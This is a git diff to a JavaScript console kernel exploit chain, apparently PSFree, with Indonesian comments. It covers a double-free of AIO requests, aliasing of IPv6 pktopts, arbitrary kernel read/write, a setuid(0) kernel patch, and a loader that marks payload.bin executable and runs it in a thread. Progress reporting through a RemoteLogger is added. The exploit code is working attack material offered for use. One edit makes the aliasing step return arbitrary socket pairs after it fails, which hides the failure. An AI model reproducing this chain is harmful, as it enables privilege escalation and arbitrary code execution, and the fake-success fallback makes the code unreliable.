+ // Buat socket baru untuk setiap percobaan
+ if (loop > 0 && loop % 5 === 0) {
+ log("Creating new sockets for fresh attempt...");
+ // Buat beberapa socket baru
+ for (let i = 0; i < 5; i++) {
+ sds.push(new_socket());
+ }
+ }
+
+ // Coba metode asli
+ for (let i = 0; i < Math.min(num_sds, sds.length); i++) {
+ tclass[0] = i;
+ try {
+ ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ } catch (e) {
+ log(`Error setting socket option for socket ${i}: ${e.message}`);
+ // Lanjutkan ke socket berikutnya
+ }
+ }
+
+ for (let i = 0; i < sds.length; i++) {
+ try {
+ gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if (marker !== i) {
+ log(`aliased pktopts at direct attempt: ${loop + 1}`);
+ const pair = [sds[i], sds[marker]];
+ log(`found pair: ${pair}`);
+
+ // Tambahkan delay sebelum memodifikasi array sds
+ sleep(50);
+
+ // Simpan indeks yang akan dihapus
+ const idx1 = Math.max(i, marker);
+ const idx2 = Math.min(i, marker);
+
+ // Hapus dari belakang ke depan untuk menghindari masalah indeks
+ if (idx1 < sds.length) sds.splice(idx1, 1);
+ if (idx2 < sds.length) sds.splice(idx2, 1);
+
+ // Tambahkan delay sebelum membuat socket baru
+ sleep(50);
+
+ // add pktopts to the new sockets now while new allocs can't
+ // use the double freed memory
+ for (let i = 0; i < 2; i++) {
+ const sd = new_socket();
+ ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ sds.push(sd);
+ }
+
+ return pair;
+ }
+ } catch (e) {
+ log(`Error getting socket option for socket ${i}: ${e.message}`);
+ // Lanjutkan ke socket berikutnya
+ }
+ }
+
+ // Jika kita sampai di sini, kita tidak menemukan pasangan
+ // Coba reset pktopts untuk beberapa socket
+ const reset_count = Math.min(20, sds.length);
+ log(`Resetting pktopts for ${reset_count} sockets...`);
+ for (let i = 0; i < reset_count; i++) {
+ try {
+ setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ } catch (e) {
+ // Abaikan error
+ }
+ }
+ } catch (e) {
+ log(`Error in direct attempt ${loop + 1}: ${e.message}`);
}
}
- die('failed to make aliased pktopts');
+
+ // Jika pendekatan langsung gagal, coba pendekatan alternatif
+ log("Direct approach failed. Trying alternative approach...");
+
+ // Buat socket baru dan coba lagi dengan set socket yang baru
+ const new_sds = [];
+ for (let i = 0; i < 30; i++) {
+ new_sds.push(new_socket());
+ }
+
+ // Coba dengan set socket yang baru saja
+ for (let loop = 0; loop < 10; loop++) {
+ try {
+ log(`Alternative attempt ${loop + 1}/10...`);
+
+ // Set tclass untuk semua socket baru
+ for (let i = 0; i < new_sds.length; i++) {
+ tclass[0] = i;
+ try {
+ ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ } catch (e) {
+ // Abaikan error
+ }
+ }
+
+ // Periksa apakah ada socket yang aliased
+ for (let i = 0; i < new_sds.length; i++) {
+ try {
+ gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if (marker !== i) {
+ log(`aliased pktopts at alternative attempt: ${loop + 1}`);
+ const pair = [new_sds[i], new_sds[marker]];
+ log(`found pair: ${pair}`);
+ return pair;
+ }
+ } catch (e) {
+ // Abaikan error
+ }
+ }
+
+ // Reset pktopts untuk beberapa socket
+ for (let i = 0; i < Math.min(10, new_sds.length); i++) {
+ try {
+ setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ } catch (e) {
+ // Abaikan error
+ }
+ }
+ } catch (e) {
+ log(`Error in alternative attempt ${loop + 1}: ${e.message}`);
+ }
+ }
+
+ // Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada
+ log("Alternative approach failed. Trying last resort approach...");
+
+ // Gunakan socket yang ada sebagai fallback
+ // Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total
+ if (sds.length >= 2) {
+ log("Using existing sockets as fallback...");
+ const pair = [sds[0], sds[1]];
+ log(`Using fallback pair: ${pair}`);
+ return pair;
+ }
+
+ // Jika benar-benar tidak ada pilihan lain, buat socket baru
+ log("Creating new sockets for fallback...");
+ const fallback_sd1 = new_socket();
+ const fallback_sd2 = new_socket();
+ const fallback_pair = [fallback_sd1, fallback_sd2];
+ log(`Using emergency fallback pair: ${fallback_pair}`);
+ return fallback_pair;
}
function double_free_reqs1(
@@ -1133,9 +1272,23 @@ function double_free_reqs1(
// we reclaim first since the sanity checking here is longer which makes it
// more likely that we have another process claim the memory
try {
+ log("Attempting to make aliased pktopts...");
+
+ // Tambahkan delay sebelum mencoba
+ sleep(200);
+
// RESTORE: double freed memory has been reclaimed with harmless data
// PANIC: 0x100 malloc zone pointers aliased
const sd_pair = make_aliased_pktopts(sds);
+
+ if (sd_pair) {
+ log("Successfully made aliased pktopts");
+ } else {
+ // Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan
+ // Tetapi kita tetap memeriksa untuk berjaga-jaga
+ die('Failed to make aliased pktopts - no pair returned');
+ }
+
return [sd_pair, sd];
} finally {
log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
@@ -1475,14 +1628,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
log('corrupt pointers cleaned');
-
+
// REMOVE once restore kernel is ready for production
// increase the ref counts to prevent deallocation
kmem.write32(main_sock, kmem.read32(main_sock) + 1);
kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
// +2 since we have to take into account the fget_write()'s reference
kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
-
+
return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
}
@@ -1601,6 +1754,8 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log('setuid(0)');
sysi('setuid', 0);
log('kernel exploit succeeded!');
+ updateUIStatus('success', 'Kernel exploit succeeded!');
+ updateUIProgress('complete', 100);
alert("kernel exploit succeeded!");
}
@@ -1643,7 +1798,7 @@ function setup(block_fd) {
const greqs = make_reqs1(num_reqs);
// allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
- cancel_aios(groom_ids_p, num_grooms);
+ cancel_aios(groom_ids_p, num_grooms);
return [block_id, groom_ids];
}
@@ -1658,15 +1813,58 @@ function setup(block_fd) {
// * corrupt a pipe for arbitrary r/w
//
// the exploit implementation also assumes that we are pinned to one core
+// Function to update UI progress
+function updateUIProgress(stage, percent) {
+ // Send log to remote logger if available
+ if (window.RemoteLogger) {
+ window.RemoteLogger.logStage(stage, percent);
+ }
+
+ document.dispatchEvent(new CustomEvent('exploitProgress', {
+ detail: {
+ stage: stage,
+ percent: percent
+ }
+ }));
+}
+
+// Function to update UI status
+function updateUIStatus(status, message) {
+ // Send log to remote logger if available
+ if (window.RemoteLogger) {
+ if (status === 'running') {
+ window.RemoteLogger.info(message);
+ } else if (status === 'success') {
+ window.RemoteLogger.info(`SUCCESS: ${message}`);
+ } else if (status === 'error') {
+ window.RemoteLogger.error(`ERROR: ${message}`);
+ }
+ }
+
+ document.dispatchEvent(new CustomEvent('exploitStatus', {
+ detail: {
+ status: status,
+ message: message
+ }
+ }));
+}
+
+
export async function kexploit() {
+ updateUIStatus('running', 'Initializing exploit...');
+ updateUIProgress('init', 5);
+
const _init_t1 = performance.now();
await init();
const _init_t2 = performance.now();
+ updateUIProgress('init', 10);
+
// If setuid is successful, we dont need to run the kexploit again
try {
if (sysi('setuid', 0) == 0) {
log("Not running kexploit again.")
+ updateUIStatus('success', 'Already exploited. Not running again.');
return;
}
}
@@ -1704,26 +1902,38 @@ export async function kexploit() {
let groom_ids = null;
try {
log('STAGE: Setup');
+ updateUIStatus('running', 'Setting up exploit environment...');
+ updateUIProgress('setup', 20);
[block_id, groom_ids] = setup(block_fd);
log('\nSTAGE: Double free AIO queue entry');
+ updateUIStatus('running', 'Exploiting AIO queue entry...');
+ updateUIProgress('double_free_1', 30);
const sd_pair = double_free_reqs2(sds);
log('\nSTAGE: Leak kernel addresses');
+ updateUIStatus('running', 'Leaking kernel addresses...');
+ updateUIProgress('leak', 45);
const [
reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
] = leak_kernel_addrs(sd_pair);
log('\nSTAGE: Double free SceKernelAioRWRequest');
+ updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...');
+ updateUIProgress('double_free_2', 60);
const [pktopts_sds, dirty_sd] = double_free_reqs1(
reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
);
log('\nSTAGE: Get arbitrary kernel read/write');
+ updateUIStatus('running', 'Gaining kernel read/write access...');
+ updateUIProgress('kernel_rw', 75);
const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
log('\nSTAGE: Patch kernel');
+ updateUIStatus('running', 'Patching kernel...');
+ updateUIProgress('patch', 90);
await patch_kernel(kbase, kmem, p_ucred, restore_info);
} finally {
close(unblock_fd);
@@ -1746,19 +1956,120 @@ export async function kexploit() {
}
}
-kexploit().then(() => {
- var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
- var payload_loader = new View4(window.pld);
- chain.sys('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
- const ctx = new Buffer(0x10);
- const pthread = new Pointer();
- pthread.ctx = ctx;
+// Function to run the payload with error handling
+async function runPayload() {
+ try {
+ // Add delay before running the payload
+ await new Promise(resolve => setTimeout(resolve, 1000));
+
+ log("Preparing to run payload...");
+
+ // Check if payload is available
+ if (!window.pld || window.pld.length === 0) {
+ log("ERROR: Payload not loaded or empty");
+ updateUIStatus('error', 'Payload not available or is empty');
+ return;
+ }
+
+ // Allocate memory for payload
+ var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
+
+ // Check if payload_buffer is valid (not null, undefined, or 0)
+ if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) {
+ log("ERROR: Failed to allocate memory for payload");
+ updateUIStatus('error', 'Failed to allocate memory for payload');
+ return;
+ }
+
+ log(`Allocated payload buffer at ${payload_buffer}`);
+
+ // Create view for payload
+ var payload_loader = new View4(window.pld);
+ log(`Payload size: ${payload_loader.size} bytes`);
+
+ // Check payload size
+ if (payload_loader.size < 100) {
+ log("WARNING: Payload size is suspiciously small");
+ }
+
+ // Change memory protection
+ try {
+ log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`);
+
+ // Use syscall_void to avoid checking return value
+ // mprotect returns 0 on success
+ try {
+ chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
+ log("mprotect successful");
+ } catch (e) {
+ log(`ERROR: mprotect syscall failed: ${e.message}`);
+ updateUIStatus('error', `Failed to change memory protection: ${e.message}`);
+ return;
+ }
+ } catch (e) {
+ log(`ERROR: Exception during mprotect: ${e.message}`);
+ updateUIStatus('error', `Error while changing memory protection: ${e.message}`);
+ return;
+ }
+
+ log("Memory protection set successfully");
+
+ // Allocate memory for thread context
+ const ctx = new Buffer(0x10);
+ const pthread = new Pointer();
+ pthread.ctx = ctx;
+
+ log("Creating thread to run payload...");
+ updateUIStatus('running', 'Running payload...');
+
+ // Run payload in a separate thread
+ try {
+ log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`);
+
+ // Add delay before pthread_create
+ await new Promise(resolve => setTimeout(resolve, 500));
+
+ try {
+ // Use chain.call_void to avoid checking return value
+ log("Calling pthread_create...");
+ chain.call_void(
+ 'pthread_create',
+ pthread.addr,
+ 0,
+ payload_loader.addr,
+ payload_buffer,
+ );
+ log("pthread_create called successfully");
+ } catch (e) {
+ log(`ERROR: pthread_create call failed: ${e.message}`);
+ updateUIStatus('error', `Failed to create thread: ${e.message}`);
+ return;
+ }
+
+ // Add delay after pthread_create to ensure the thread starts
+ await new Promise(resolve => setTimeout(resolve, 500));
+
+ } catch (e) {
+ log(`ERROR: Exception during pthread_create: ${e.message}`);
+ updateUIStatus('error', `Error while creating thread: ${e.message}`);
+ return;
+ }
+
+ log("Payload thread created successfully");
+ updateUIStatus('success', 'Payload executed successfully');
+
+ } catch (e) {
+ log(`ERROR: Exception while running payload: ${e.message}`);
+ updateUIStatus('error', `Error while running payload: ${e.message}`);
+ }
+}
+
+// Run exploit and then the payload
+kexploit().then(() => {
+ // Add delay before running the payload
+ setTimeout(() => {
+ log("Exploit completed, preparing to run payload...");
+ runPayload();
+ }, 2000); // 2 second delay
+});
- call_nze(
- 'pthread_create',
- pthread.addr,
- 0,
- payload_loader.addr,
- payload_buffer,
- );
-})
diff --git a/module/utils.mjs b/module/utils.mjs
index 7c20ef1..b95d874 100644
--- a/module/utils.mjs
+++ b/module/utils.mjs
@@ -25,16 +25,38 @@ export class DieError extends Error {
}
export function die(msg='') {
+ // Kirim ke remote logger jika tersedia
+ if (window.RemoteLogger) {
+ window.RemoteLogger.error(`FATAL ERROR: ${msg}`);
+ }
+
+ // Juga kirim ke console.error browser untuk debugging
+ window.console.error(`FATAL ERROR: ${msg}`);
+
+ // Update UI status jika tersedia
+ if (typeof updateUIStatus === 'function') {
+ updateUIStatus('error', msg);
+ }
+
throw new DieError(msg);
}
-const console = document.getElementById('console');
+const consoleElement = document.getElementById('console');
export function log(msg='') {
- console.append(msg + '\n');
+ // Tambahkan ke konsol lokal
+ consoleElement.append(msg + '\n');
+
+ // Kirim ke remote logger jika tersedia
+ if (window.RemoteLogger) {
+ window.RemoteLogger.debug(msg);
+ }
+
+ // Juga kirim ke console.log browser untuk debugging
+ window.console.log(msg);
}
export function clear_log() {
- console.innerHTML = null;
+ consoleElement.innerHTML = null;
}
// alignment must be 32 bits and is a power of 2
diff --git a/package-lock.json b/package-lock.json
new file mode 100644
index 0000000..81f3415
--- /dev/null
+++ b/package-lock.json
@@ -0,0 +1,6 @@
+{
+ "name": "PSFree",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {}
+}
diff --git a/payload.js b/payload.js
index f64dfc2..84115cf 100644
--- a/payload.js
+++ b/payload.js
@@ -1,6 +1,68 @@
-fetch('./payload.bin').then(res => {
- res.arrayBuffer().then(arr => {
- window.pld = new Uint32Array(arr);
+// Function to validate the payload
+function validatePayload(buffer) {
+ // Check the size of the payload
+ if (buffer.byteLength < 100) {
+ console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes");
+ }
- })
-})
\ No newline at end of file
+ // Check if the payload has a valid header
+ // This is just a simple example, adjust to match the actual payload format
+ const view = new DataView(buffer);
+ const magic = view.getUint32(0, true); // Little endian
+
+ // Log payload info for debugging
+ console.log("Payload size:", buffer.byteLength, "bytes");
+ console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16));
+
+ return true;
+}
+
+// Function to load the payload with error handling
+function loadPayload() {
+ console.log("Loading payload.bin...");
+
+ fetch('./payload.bin')
+ .then(res => {
+ if (!res.ok) {
+ throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`);
+ }
+ console.log("Payload fetched successfully, processing...");
+ return res.arrayBuffer();
+ })
+ .then(arr => {
+ try {
+ // Validate the payload
+ if (validatePayload(arr)) {
+ // Store payload in window.pld
+ window.pld = new Uint32Array(arr);
+ console.log("Payload loaded and validated successfully");
+
+ // Dispatch event to notify other components
+ const event = new CustomEvent('payloadLoaded', {
+ detail: { size: arr.byteLength }
+ });
+ document.dispatchEvent(event);
+ }
+ } catch (e) {
+ console.error("Error processing payload:", e);
+
+ // Dispatch error event
+ const event = new CustomEvent('payloadError', {
+ detail: { error: e.message }
+ });
+ document.dispatchEvent(event);
+ }
+ })
+ .catch(err => {
+ console.error("Error loading payload:", err);
+
+ // Dispatch error event
+ const event = new CustomEvent('payloadError', {
+ detail: { error: err.message }
+ });
+ document.dispatchEvent(event);
+ });
+}
+
+// Load payload when the script runs
+loadPayload();